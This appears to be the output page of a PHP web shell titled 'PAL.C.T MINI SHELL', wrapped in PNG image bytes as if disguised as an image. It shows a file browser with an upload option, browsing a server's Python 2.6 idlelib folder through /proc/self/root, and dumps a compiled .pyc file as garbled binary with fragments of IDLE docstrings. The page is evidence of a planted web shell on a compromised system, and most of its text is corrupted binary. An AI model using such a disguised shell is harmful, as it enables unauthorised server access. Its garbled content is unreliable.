php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/idlelib/
upload
files >> //proc/self/root/usr/lib/python2.6/idlelib/macosxSupport.pyc

Lc@sOdZddkZddkZdZdZdZdZdZdS(s
A number of function that enhance IDLE on MacOSX when it used as a normal
GUI application (as opposed to an X11 application).
iNcCstidjo
dtijS(s
    Returns True if Python is running from within an app on OSX.
    If so, assume that Python was built with Aqua Tcl/Tk rather than
    X11 Tck/Tk.
    tdarwins.app(tsystplatformt
executable(((s+/usr/lib/python2.6/idlelib/macosxSupport.pytrunningAsOSXAppscs#fd}|id|dS(s
    This ensures that the application will respont to open AppleEvents, which
    makes is feaseable to use IDLE as the default application for python files.
    cs"x|D]}i|qWdS(N(topen(targstfn(tflist(s+/usr/lib/python2.6/idlelib/macosxSupport.pyt
doOpenFiless::tk::mac::OpenDocumentN(t
createcommand(trootRR	((Rs+/usr/lib/python2.6/idlelib/macosxSupport.pytaddOpenEventSupportscCs4y|iiddWntij
onXdS(Ntconsolethide(ttktcalltTkintertTclError(R((s+/usr/lib/python2.6/idlelib/macosxSupport.pyt
hideTkConsolescsddkl}l}l}ddkl}l}ddkl}ddklddk	l
}|}id|h}	||dd	|	d	<}
|id
dd|
dd
|
fd}i
|||dd|	d<}
|id
dd|
d!fd}d!fd}
id|id|
oidiniid}ttt|idd"jo-dd#d!gf|id
<id|
nx|iD]\}}|	i|}
|
pqqx|D]|}|p|
iq|\}}||\}}||i|}|d}|
id
|d|d|d |qWqWd!S($sU
    Replace the Tk root menu by something that's more appropriate for
    IDLE.
    i(tMenutTextR(tprepstrtget_accelerator(tBindings(t
WindowList(tMultiCallCreatortmenutnametwindowstlabeltWindowt	underlineicsX|id}|djo
d}n|djo|id|ni|dS(Ntendii(tindextNonetdeletetadd_windows_to_menu(RR!(R(s+/usr/lib/python2.6/idlelib/macosxSupport.pytpostwindowsmenuBs


tappletapplicationtIDLEcs$ddkl}|iddS(Ni(taboutDialogs
About IDLE(tidlelibR*tAboutDialog(teventR*(R(s+/usr/lib/python2.6/idlelib/macosxSupport.pytabout_dialogOscs0ddkl}i_|iddS(Ni(tconfigDialogtSettings(R+R/tinversedictt
instance_dicttConfigDialog(R-R/(RR(s+/usr/lib/python2.6/idlelib/macosxSupport.pyt
config_dialogSss<<about-idle>>s<<open-config-dialog>>s<<close-all-windows>>sinfo patchlevelt.iiis
About IDLEs::tk::mac::ShowPreferencescSs|i|dS(N(tevent_generate(ttextt	eventname((s+/usr/lib/python2.6/idlelib/macosxSupport.pytcommandwsR9tacceleratorN(iii(s
About IDLEs<<about-idle>>(RRRtidlelib.EditorWindowRRR+RRtidlelib.MultiCallRt	configuretadd_cascadetregister_callbackR#tbindtclose_all_callbackRtevalttupletmaptinttsplittmenudefsR
tgett
add_separatortdefault_keydefstadd_command(RRRRRRRRtmenubartmenudictRR&R.R4t	tkversiontmnamet	entrylisttentryRR8R R:R9((RRRs+/usr/lib/python2.6/idlelib/macosxSupport.pytoverrideRootMenu%sT
%
		cCs7tpdSt|t||t||dS(s7
    Perform setup for the OSX application bundle.
    N(RRRRR(RR((s+/usr/lib/python2.6/idlelib/macosxSupport.pytsetupApp|s



(t__doc__RRRRRRRRS(((s+/usr/lib/python2.6/idlelib/macosxSupport.pyt<module>s				W
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`